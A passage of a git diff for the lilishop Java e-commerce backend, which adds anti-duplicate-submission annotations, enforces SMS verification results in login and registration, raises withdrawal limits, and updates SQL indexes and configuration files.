diff --git a/.gitignore b/.gitignore index 6d9167f5..d7370a10 100644 --- a/.gitignore +++ b/.gitignore @@ -10,6 +10,7 @@ target .factorypath log/ +logs/ *.factorypath lili-shop/src/main/java/cn/lili/generator/CodeGenerator.java lili-logs diff --git a/DB/version4.2.3toMASTER.sql b/DB/version4.2.3toMASTER.sql index a9eeb7ee..c34d6097 100644 --- a/DB/version4.2.3toMASTER.sql +++ b/DB/version4.2.3toMASTER.sql @@ -54,3 +54,11 @@ ALTER TABLE li_goods RENAME COLUMN is_auth TO auth_flag; ALTER TABLE li_goods_sku RENAME COLUMN is_promotion TO promotion_flag; ALTER TABLE li_goods_sku RENAME COLUMN is_auth TO auth_flag; + + +-- 增加会员表索引 +ALTER TABLE li_member ADD INDEX query_mobile (`mobile`) COMMENT 'query_member'; +-- 会员签到唯一索引 惠券查询索引 +ALTER TABLE li_member_sign ADD INDEX query_create_time (`create_time`) COMMENT 'query_create_time'; +ALTER TABLE li_member_sign ADD INDEX query_member_id (`member_id`) COMMENT 'query_member_id'; +ALTER TABLE li_member_sign add unique uk_member_day (member_id, create_time) COMMENT 'uk_member_day'; \ No newline at end of file diff --git a/README.md b/README.md index 7707fe53..f57e702b 100644 --- a/README.md +++ b/README.md @@ -75,7 +75,7 @@ PS:手机验证码为 ‘111111’ #### 平台管理端功能 -![平台管理端功能](https://pickmall.cn/assets/imgs/other/managerList.jpg) +![平台管理端功能](https://pickmall.cn/assets/imgs/other/managerList1.jpg) diff --git a/buyer-api/src/main/java/cn/lili/controller/distribution/DistributionCashBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/distribution/DistributionCashBuyerController.java index 4b6d310e..28994aad 100644 --- a/buyer-api/src/main/java/cn/lili/controller/distribution/DistributionCashBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/distribution/DistributionCashBuyerController.java @@ -1,5 +1,6 @@ package cn.lili.controller.distribution; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultUtil; import cn.lili.common.exception.ServiceException; @@ -13,6 +14,7 @@ import io.swagger.annotations.ApiImplicitParam; import io.swagger.annotations.ApiImplicitParams; import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.validation.annotation.Validated; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestMapping; @@ -33,6 +35,7 @@ import javax.validation.constraints.NotNull; @RestController @Api(tags = "买家端,分销商品佣金提现接口") @RequestMapping("/buyer/distribution/cash") +@Validated public class DistributionCashBuyerController { /** @@ -47,15 +50,16 @@ public class DistributionCashBuyerController { private DistributionCashService distributorCashService; + @PreventDuplicateSubmissions @ApiOperation(value = "分销员提现") @ApiImplicitParams({ @ApiImplicitParam(name = "price", value = "申请金额", required = true, paramType = "query", dataType = "double") }) @PostMapping - public ResultMessage cash(@Max(value = 1000, message = "提现金额单次最多允许提现1000元") + public ResultMessage cash(@Validated @Max(value = 9999, message = "提现金额单次最多允许提现9999元") @Min(value = 1, message = "提现金额单次最少提现金额为1元") @NotNull @ApiIgnore Double price) { - if (distributionCashService.cash(price)) { + if (Boolean.TRUE.equals(distributionCashService.cash(price))) { return ResultUtil.success(); } throw new ServiceException(ResultCode.ERROR); diff --git a/buyer-api/src/main/java/cn/lili/controller/distribution/DistributionGoodsBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/distribution/DistributionGoodsBuyerController.java index e4497dc9..a8314cff 100644 --- a/buyer-api/src/main/java/cn/lili/controller/distribution/DistributionGoodsBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/distribution/DistributionGoodsBuyerController.java @@ -1,5 +1,6 @@ package cn.lili.controller.distribution; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultUtil; import cn.lili.common.exception.ServiceException; @@ -50,6 +51,7 @@ public class DistributionGoodsBuyerController { return ResultUtil.data(distributionGoodsService.goodsPage(distributionGoodsSearchParams)); } + @PreventDuplicateSubmissions @ApiOperation(value = "选择分销商品") @ApiImplicitParams({ @ApiImplicitParam(name = "distributionGoodsId", value = "分销ID", required = true, dataType = "String", paramType = "path"), diff --git a/buyer-api/src/main/java/cn/lili/controller/member/MemberEvaluationBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/member/MemberEvaluationBuyerController.java index acf5b34d..d8e90076 100644 --- a/buyer-api/src/main/java/cn/lili/controller/member/MemberEvaluationBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/member/MemberEvaluationBuyerController.java @@ -1,5 +1,6 @@ package cn.lili.controller.member; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultUtil; import cn.lili.common.enums.SwitchEnum; import cn.lili.common.security.context.UserContext; @@ -37,10 +38,11 @@ public class MemberEvaluationBuyerController { @Autowired private MemberEvaluationService memberEvaluationService; + @PreventDuplicateSubmissions @ApiOperation(value = "添加会员评价") @PostMapping public ResultMessage save(@Valid MemberEvaluationDTO memberEvaluationDTO) { - return ResultUtil.data(memberEvaluationService.addMemberEvaluation(memberEvaluationDTO)); + return ResultUtil.data(memberEvaluationService.addMemberEvaluation(memberEvaluationDTO, true)); } @ApiOperation(value = "查看会员评价详情") diff --git a/buyer-api/src/main/java/cn/lili/controller/member/MemberSignBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/member/MemberSignBuyerController.java index 2bd82c61..758f60cf 100644 --- a/buyer-api/src/main/java/cn/lili/controller/member/MemberSignBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/member/MemberSignBuyerController.java @@ -1,5 +1,6 @@ package cn.lili.controller.member; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.member.entity.dos.MemberSign; @@ -27,6 +28,8 @@ public class MemberSignBuyerController { @Autowired private MemberSignService memberSignService; + + @PreventDuplicateSubmissions @PostMapping @ApiOperation(value = "会员签到") public ResultMessage memberSign() { diff --git a/buyer-api/src/main/java/cn/lili/controller/order/AfterSaleBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/order/AfterSaleBuyerController.java index 26e495fd..f5d68e9c 100644 --- a/buyer-api/src/main/java/cn/lili/controller/order/AfterSaleBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/order/AfterSaleBuyerController.java @@ -1,5 +1,6 @@ package cn.lili.controller.order; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.OperationalJudgment; import cn.lili.common.vo.ResultMessage; @@ -77,6 +78,7 @@ public class AfterSaleBuyerController { return ResultUtil.data(afterSaleService.getAfterSaleVO(sn)); } + @PreventDuplicateSubmissions @PostMapping(value = "/save/{orderItemSn}") @ApiImplicitParam(name = "orderItemSn", value = "订单货物编号", required = true, paramType = "query") @ApiOperation(value = "申请售后") @@ -101,6 +103,7 @@ public class AfterSaleBuyerController { return ResultUtil.data(afterSaleService.buyerDelivery(afterSaleSn, logisticsNo, logisticsId, mDeliverTime)); } + @PreventDuplicateSubmissions @ApiOperation(value = "售后,取消售后") @ApiImplicitParams({ @ApiImplicitParam(name = "afterSaleSn", value = "售后sn", required = true, dataType = "String", paramType = "path") diff --git a/buyer-api/src/main/java/cn/lili/controller/order/CartController.java b/buyer-api/src/main/java/cn/lili/controller/order/CartController.java index c2a4508a..f78e4d78 100644 --- a/buyer-api/src/main/java/cn/lili/controller/order/CartController.java +++ b/buyer-api/src/main/java/cn/lili/controller/order/CartController.java @@ -1,5 +1,6 @@ package cn.lili.controller.order; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultUtil; import cn.lili.common.exception.ServiceException; @@ -235,6 +236,7 @@ public class CartController { } + @PreventDuplicateSubmissions @ApiOperation(value = "创建交易") @PostMapping(value = "/create/trade", consumes = "application/json", produces = "application/json") public ResultMessage crateTrade(@RequestBody TradeParams tradeParams) { diff --git a/buyer-api/src/main/java/cn/lili/controller/order/OrderBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/order/OrderBuyerController.java index d5501ff8..f08e6c17 100644 --- a/buyer-api/src/main/java/cn/lili/controller/order/OrderBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/order/OrderBuyerController.java @@ -1,5 +1,6 @@ package cn.lili.controller.order; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultUtil; import cn.lili.common.exception.ServiceException; @@ -62,6 +63,7 @@ public class OrderBuyerController { return ResultUtil.data(orderDetailVO); } + @PreventDuplicateSubmissions @ApiOperation(value = "确认收货") @ApiImplicitParams({ @ApiImplicitParam(name = "orderSn", value = "订单编号", required = true, paramType = "path") @@ -80,6 +82,7 @@ public class OrderBuyerController { return ResultUtil.success(); } + @PreventDuplicateSubmissions @ApiOperation(value = "取消订单") @ApiImplicitParams({ @ApiImplicitParam(name = "orderSn", value = "订单编号", required = true, dataType = "String", paramType = "path"), @@ -91,6 +94,7 @@ public class OrderBuyerController { return ResultUtil.success(); } + @PreventDuplicateSubmissions @ApiOperation(value = "删除订单") @ApiImplicitParams({ @ApiImplicitParam(name = "orderSn", value = "订单编号", required = true, dataType = "String", paramType = "path") @@ -113,6 +117,7 @@ public class OrderBuyerController { } + @PreventDuplicateSubmissions @ApiOperation(value = "开票") @ApiImplicitParams({ @ApiImplicitParam(name = "orderSn", value = "订单编号", required = true, dataType = "String", paramType = "path") diff --git a/buyer-api/src/main/java/cn/lili/controller/order/OrderComplaintBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/order/OrderComplaintBuyerController.java index 63f21431..29987dd2 100644 --- a/buyer-api/src/main/java/cn/lili/controller/order/OrderComplaintBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/order/OrderComplaintBuyerController.java @@ -1,5 +1,6 @@ package cn.lili.controller.order; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.AuthUser; import cn.lili.common.security.OperationalJudgment; @@ -66,6 +67,7 @@ public class OrderComplaintBuyerController { } + @PreventDuplicateSubmissions @ApiOperation(value = "添加交易投诉") @PostMapping public ResultMessage add(@Valid OrderComplaintDTO orderComplaintDTO) { @@ -85,6 +87,7 @@ public class OrderComplaintBuyerController { return ResultUtil.data(communicationVO); } + @PreventDuplicateSubmissions @ApiOperation(value = "取消售后") @ApiImplicitParam(name = "id", value = "投诉单ID", required = true, paramType = "path") @PutMapping(value = "/status/{id}") diff --git a/buyer-api/src/main/java/cn/lili/controller/order/ReceiptBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/order/ReceiptBuyerController.java index c707c2ea..66253078 100644 --- a/buyer-api/src/main/java/cn/lili/controller/order/ReceiptBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/order/ReceiptBuyerController.java @@ -1,5 +1,6 @@ package cn.lili.controller.order; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; @@ -41,6 +42,7 @@ public class ReceiptBuyerController { return ResultUtil.data(this.receiptService.getReceiptData(searchParams, pageVO)); } + @PreventDuplicateSubmissions @ApiOperation(value = "保存发票信息") @PostMapping public ResultMessage save(@Valid Receipt receipt) { diff --git a/buyer-api/src/main/java/cn/lili/controller/order/RechargeTradeBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/order/RechargeTradeBuyerController.java index 81c38bb2..d8d04eeb 100644 --- a/buyer-api/src/main/java/cn/lili/controller/order/RechargeTradeBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/order/RechargeTradeBuyerController.java @@ -1,5 +1,6 @@ package cn.lili.controller.order; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.wallet.entity.dos.Recharge; @@ -26,12 +27,12 @@ import javax.validation.constraints.Min; @RestController @Api(tags = "买家端,预存款充值记录接口") @RequestMapping("/buyer/trade/recharge") -@Transactional(rollbackFor = Exception.class) public class RechargeTradeBuyerController { @Autowired private RechargeService rechargeService; + @PreventDuplicateSubmissions @PostMapping @ApiOperation(value = "创建余额充值订单") @ApiImplicitParams({ diff --git a/buyer-api/src/main/java/cn/lili/controller/other/FeedbackBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/other/FeedbackBuyerController.java index 83f0ac04..263e54d9 100644 --- a/buyer-api/src/main/java/cn/lili/controller/other/FeedbackBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/other/FeedbackBuyerController.java @@ -1,5 +1,6 @@ package cn.lili.controller.other; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.ResultMessage; @@ -31,6 +32,7 @@ public class FeedbackBuyerController { @Autowired private FeedbackService feedbackService; + @PreventDuplicateSubmissions @ApiOperation(value = "添加意见反馈") @PostMapping() public ResultMessage save(@Valid Feedback feedback) { diff --git a/buyer-api/src/main/java/cn/lili/controller/other/purchase/PurchaseBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/other/purchase/PurchaseBuyerController.java index 1f7db028..6bf2105b 100644 --- a/buyer-api/src/main/java/cn/lili/controller/other/purchase/PurchaseBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/other/purchase/PurchaseBuyerController.java @@ -1,5 +1,6 @@ package cn.lili.controller.other.purchase; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.context.UserContext; @@ -48,6 +49,8 @@ public class PurchaseBuyerController { return ResultUtil.data(goodsUnitService.page(PageUtil.initPage(pageVO))); } + + @PreventDuplicateSubmissions @ApiOperation(value = "添加采购单") @PostMapping public ResultMessage addPurchaseOrderVO(@RequestBody PurchaseOrderVO purchaseOrderVO) { @@ -74,6 +77,7 @@ public class PurchaseBuyerController { return ResultUtil.data(purchaseOrderService.page(purchaseOrderSearchParams)); } + @PreventDuplicateSubmissions @ApiOperation(value = "关闭采购单") @ApiImplicitParam(name = "id", value = "采购单ID", required = true, dataType = "Long", paramType = "path") @PutMapping("/{id}") diff --git a/buyer-api/src/main/java/cn/lili/controller/passport/MemberBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/passport/MemberBuyerController.java index 8ffb5a5f..96419280 100644 --- a/buyer-api/src/main/java/cn/lili/controller/passport/MemberBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/passport/MemberBuyerController.java @@ -74,8 +74,11 @@ public class MemberBuyerController { public ResultMessage smsLogin(@NotNull(message = "手机号为空") @RequestParam String mobile, @NotNull(message = "验证码为空") @RequestParam String code, @RequestHeader String uuid) { - smsUtil.verifyCode(mobile, VerificationEnums.LOGIN, uuid, code); - return ResultUtil.data(memberService.mobilePhoneLogin(mobile)); + if (smsUtil.verifyCode(mobile, VerificationEnums.LOGIN, uuid, code)) { + return ResultUtil.data(memberService.mobilePhoneLogin(mobile)); + } else { + throw new ServiceException(ResultCode.VERIFICATION_SMS_CHECKED_ERROR); + } } @ApiOperation(value = "注册用户") @@ -92,8 +95,11 @@ public class MemberBuyerController { @RequestHeader String uuid, @NotNull(message = "验证码不能为空") @RequestParam String code) { - smsUtil.verifyCode(mobilePhone, VerificationEnums.REGISTER, uuid, code); - return ResultUtil.data(memberService.register(username, password, mobilePhone)); + if (smsUtil.verifyCode(mobilePhone, VerificationEnums.REGISTER, uuid, code)) { + return ResultUtil.data(memberService.register(username, password, mobilePhone)); + } else { + throw new ServiceException(ResultCode.VERIFICATION_SMS_CHECKED_ERROR); + } } @@ -114,14 +120,18 @@ public class MemberBuyerController { @NotNull(message = "验证码为空") @RequestParam String code, @RequestHeader String uuid) { //校验短信验证码是否正确 - smsUtil.verifyCode(mobile, VerificationEnums.FIND_USER, uuid, code); - //校验是否通过手机号可获取会员,存在则将会员信息存入缓存,有效时间3分钟 - Member member = memberService.findByMobile(mobile); - if (member == null) { - throw new ServiceException(ResultCode.USER_NOT_PHONE); + if (smsUtil.verifyCode(mobile, VerificationEnums.FIND_USER, uuid, code)) { + //校验是否通过手机号可获取会员,存在则将会员信息存入缓存,有效时间3分钟 + Member member = memberService.findByMobile(mobile); + if (member == null) { + throw new ServiceException(ResultCode.USER_NOT_PHONE); + } + cache.put(CachePrefix.FIND_MOBILE + uuid, mobile, 300L); + return ResultUtil.success(); + + } else { + throw new ServiceException(ResultCode.VERIFICATION_SMS_CHECKED_ERROR); } - cache.put(CachePrefix.FIND_MOBILE + uuid, mobile, 300L); - return ResultUtil.success(); } @ApiOperation(value = "修改密码") diff --git a/buyer-api/src/main/java/cn/lili/controller/promotion/CouponBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/promotion/CouponBuyerController.java index 9d213b55..4d0dfed4 100644 --- a/buyer-api/src/main/java/cn/lili/controller/promotion/CouponBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/promotion/CouponBuyerController.java @@ -7,9 +7,10 @@ import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.MemberCoupon; +import cn.lili.modules.promotion.entity.dto.search.CouponSearchParams; +import cn.lili.modules.promotion.entity.dto.search.MemberCouponSearchParams; import cn.lili.modules.promotion.entity.enums.CouponGetEnum; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; -import cn.lili.modules.promotion.entity.vos.CouponSearchParams; import cn.lili.modules.promotion.entity.vos.CouponVO; import cn.lili.modules.promotion.service.CouponService; import cn.lili.modules.promotion.service.MemberCouponService; @@ -61,7 +62,7 @@ public class CouponBuyerController { @ApiOperation(value = "获取当前会员的优惠券列表") @GetMapping("/getCoupons") - public ResultMessage> getCoupons(CouponSearchParams param, PageVO pageVo) { + public ResultMessage> getCoupons(MemberCouponSearchParams param, PageVO pageVo) { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); param.setMemberId(currentUser.getId()); return ResultUtil.data(memberCouponService.getMemberCoupons(param, pageVo)); @@ -69,7 +70,7 @@ public class CouponBuyerController { @ApiOperation(value = "获取当前会员的对于当前商品可使用的优惠券列表") @GetMapping("/canUse") - public ResultMessage> getCouponsByCanUse(CouponSearchParams param, Double totalPrice, PageVO pageVo) { + public ResultMessage> getCouponsByCanUse(MemberCouponSearchParams param, Double totalPrice, PageVO pageVo) { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); param.setMemberId(currentUser.getId()); return ResultUtil.data(memberCouponService.getMemberCouponsByCanUse(param, totalPrice, pageVo)); diff --git a/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java index 51b2dab2..5fcf7832 100644 --- a/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java @@ -1,16 +1,20 @@ package cn.lili.controller.promotion; -import cn.hutool.core.util.StrUtil; +import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.KanjiaActivity; import cn.lili.modules.promotion.entity.dos.KanjiaActivityLog; -import cn.lili.modules.promotion.entity.dto.KanJiaActivityLogQuery; -import cn.lili.modules.promotion.entity.dto.KanjiaActivityQuery; +import cn.lili.modules.promotion.entity.dto.search.KanJiaActivityLogQuery; +import cn.lili.modules.promotion.entity.dto.search.KanjiaActivityGoodsParams; +import cn.lili.modules.promotion.entity.dto.search.KanjiaActivityQuery; +import cn.lili.modules.promotion.entity.dto.search.KanjiaActivitySearchParams; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; -import cn.lili.modules.promotion.entity.vos.kanjia.*; +import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsListVO; +import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsVO; +import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityVO; import cn.lili.modules.promotion.service.KanjiaActivityGoodsService; import cn.lili.modules.promotion.service.KanjiaActivityLogService; import cn.lili.modules.promotion.service.KanjiaActivityService; @@ -75,7 +79,7 @@ public class KanjiaGoodsActivityBuyerController { @ApiOperation(value = "获取砍价活动") public ResultMessage getKanJiaActivity(KanjiaActivitySearchParams kanjiaActivitySearchParams) { //如果是非被邀请关系则填写会员ID - if (StrUtil.isEmpty(kanjiaActivitySearchParams.getKanjiaActivityId())) { + if (CharSequenceUtil.isEmpty(kanjiaActivitySearchParams.getKanjiaActivityId())) { kanjiaActivitySearchParams.setMemberId(UserContext.getCurrentUser().getId()); } return ResultUtil.data(kanJiaActivityService.getKanjiaActivityVO(kanjiaActivitySearchParams)); diff --git a/buyer-api/src/main/java/cn/lili/controller/promotion/PintuanBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/promotion/PintuanBuyerController.java index 84fe7c16..62e928c8 100644 --- a/buyer-api/src/main/java/cn/lili/controller/promotion/PintuanBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/promotion/PintuanBuyerController.java @@ -5,10 +5,10 @@ import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.vos.PintuanMemberVO; import cn.lili.modules.promotion.entity.vos.PintuanShareVO; -import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import cn.lili.modules.promotion.service.PintuanService; import cn.lili.modules.promotion.service.PromotionGoodsService; import com.baomidou.mybatisplus.core.metadata.IPage; diff --git a/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java index 4dc38065..08932f1f 100644 --- a/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/promotion/PointsGoodsBuyerController.java @@ -5,8 +5,8 @@ import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.PointsGoods; import cn.lili.modules.promotion.entity.dos.PointsGoodsCategory; +import cn.lili.modules.promotion.entity.dto.search.PointsGoodsSearchParams; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; -import cn.lili.modules.promotion.entity.vos.PointsGoodsSearchParams; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; import cn.lili.modules.promotion.service.PointsGoodsCategoryService; import cn.lili.modules.promotion.service.PointsGoodsService; diff --git a/buyer-api/src/main/java/cn/lili/controller/wallet/MemberReceiptController.java b/buyer-api/src/main/java/cn/lili/controller/wallet/MemberReceiptController.java index 63e2c6c4..daee4a35 100644 --- a/buyer-api/src/main/java/cn/lili/controller/wallet/MemberReceiptController.java +++ b/buyer-api/src/main/java/cn/lili/controller/wallet/MemberReceiptController.java @@ -1,6 +1,7 @@ package cn.lili.controller.wallet; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.PageVO; @@ -35,6 +36,7 @@ public class MemberReceiptController { return ResultUtil.data(memberReceiptService.getPage(memberReceiptVO, page)); } + @PreventDuplicateSubmissions @ApiOperation(value = "新增会员发票") @PostMapping public ResultMessage add(MemberReceiptAddVO memberReceiptAddVO) { diff --git a/buyer-api/src/main/java/cn/lili/controller/wallet/MemberWalletBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/wallet/MemberWalletBuyerController.java index 015342f3..33ba19fd 100644 --- a/buyer-api/src/main/java/cn/lili/controller/wallet/MemberWalletBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/wallet/MemberWalletBuyerController.java @@ -1,5 +1,6 @@ package cn.lili.controller.wallet; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultUtil; import cn.lili.common.exception.ServiceException; @@ -120,12 +121,13 @@ public class MemberWalletBuyerController { } + @PreventDuplicateSubmissions @PostMapping(value = "/withdrawal") @ApiOperation(value = "会员中心余额提现") @ApiImplicitParams({ @ApiImplicitParam(name = "price", value = "提现金额", required = true, dataType = "double", paramType = "query") }) - public ResultMessage withdrawal(@Max(value = 1000, message = "充值金额单次最多允许提现1000元") @Min(value = 1, message = "充值金额单次最少提现金额为1元") Double price) { + public ResultMessage withdrawal(@Max(value = 9999, message = "充值金额单次最多允许提现9999元") @Min(value = 1, message = "充值金额单次最少提现金额为1元") Double price) { return ResultUtil.data(memberWalletService.applyWithdrawal(price)); } diff --git a/buyer-api/src/main/java/cn/lili/controller/wallet/MemberWithdrawApplyBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/wallet/MemberWithdrawApplyBuyerController.java index 84bd1492..7771443c 100644 --- a/buyer-api/src/main/java/cn/lili/controller/wallet/MemberWithdrawApplyBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/wallet/MemberWithdrawApplyBuyerController.java @@ -27,7 +27,6 @@ import org.springframework.web.bind.annotation.RestController; @RestController @Api(tags = "买家端,余额提现记录接口") @RequestMapping("/buyer/member/withdrawApply") -@Transactional(rollbackFor = Exception.class) public class MemberWithdrawApplyBuyerController { @Autowired private MemberWithdrawApplyService memberWithdrawApplyService; diff --git a/buyer-api/src/main/java/cn/lili/controller/wallet/RechargeBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/wallet/RechargeBuyerController.java index f4b8d7d9..1b4d896b 100644 --- a/buyer-api/src/main/java/cn/lili/controller/wallet/RechargeBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/wallet/RechargeBuyerController.java @@ -25,7 +25,6 @@ import org.springframework.web.bind.annotation.RestController; @RestController @Api(tags = "买家端,预存款充值记录接口") @RequestMapping("/buyer/member/recharge") -@Transactional(rollbackFor = Exception.class) public class RechargeBuyerController { @Autowired diff --git a/buyer-api/src/main/resources/application.yml b/buyer-api/src/main/resources/application.yml index 1a6abf13..2f99a882 100644 --- a/buyer-api/src/main/resources/application.yml +++ b/buyer-api/src/main/resources/application.yml @@ -3,12 +3,19 @@ server: servlet: context-path: / - - tomcat: - uri-encoding: UTF-8 - threads: - min-spare: 50 - max: 1000 +# +# tomcat: +# #最大链接数,默认不设置,默认是10000 +# max-connections: 6500 +# #最大等待队列长度,允许HTTP请求缓存到请求队列的最大个数,默认不限制 +# accept-count: 1000 +# threads: +# #最少闲置 +# min-spare: 50 +# #最大线程数 ,默认是200 +# max: 800 + netty: + connection-timeout: # 与Spring Boot 2一样,默认情况下,大多数端点都不通过http公开,我们公开了所有端点。对于生产,您应该仔细选择要公开的端点。 management: @@ -69,10 +76,10 @@ spring: url: jdbc:mysql://127.0.0.1:3306/lilishop?useUnicode=true&characterEncoding=utf-8&useSSL=false&allowPublicKeyRetrieval=true&serverTimezone=Asia/Shanghai username: root password: lilishop - maxActive: 20 - initialSize: 5 + maxActive: 50 + initialSize: 10 maxWait: 60000 - minIdle: 5 + minIdle: 10 timeBetweenEvictionRunsMillis: 60000 minEvictableIdleTimeMillis: 300000 validationQuery: SELECT 1 FROM DUAL @@ -110,7 +117,7 @@ spring: props: #是否打印逻辑SQL语句和实际SQL语句,建议调试时打印,在生产环境关闭 sql: - show: true + show: false # 忽略TOKEN 鉴权 的url ignored: @@ -176,8 +183,7 @@ logging: config: classpath:logback-spring.xml # 输出级别 level: - cn.lili: debug - org.hibernate: debug + root: error # org.springframework: debug file: # 指定路径 diff --git a/buyer-api/src/main/resources/redisson.yaml b/buyer-api/src/main/resources/redisson.yaml new file mode 100644 index 00000000..ac8dfc66 --- /dev/null +++ b/buyer-api/src/main/resources/redisson.yaml @@ -0,0 +1,21 @@ +--- +singleServerConfig: + idleConnectionTimeout: 10000 + connectTimeout: 10000 + timeout: 3000 + retryAttempts: 3 + retryInterval: 1500 + password: lilishop + subscriptionsPerConnection: 5 + clientName: null + address: "redis://127.0.0.1:6379" + subscriptionConnectionMinimumIdleSize: 1 + subscriptionConnectionPoolSize: 50 + connectionMinimumIdleSize: 24 + connectionPoolSize: 64 + database: 0 + dnsMonitoringInterval: 5000 +threads: 16 +nettyThreads: 32 +codec: ! {} +transportMode: "NIO" \ No newline at end of file diff --git a/common-api/src/main/java/cn/lili/controller/common/SliderImageController.java b/common-api/src/main/java/cn/lili/controller/common/SliderImageController.java index bb22429f..ce4f9e5a 100644 --- a/common-api/src/main/java/cn/lili/controller/common/SliderImageController.java +++ b/common-api/src/main/java/cn/lili/controller/common/SliderImageController.java @@ -1,6 +1,7 @@ package cn.lili.controller.common; import cn.lili.cache.limit.annotation.LimitPoint; +import cn.lili.common.aop.annotation.PreventDuplicateSubmissions; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.verification.entity.enums.VerificationEnums; diff --git a/common-api/src/main/java/cn/lili/controller/common/UploadController.java 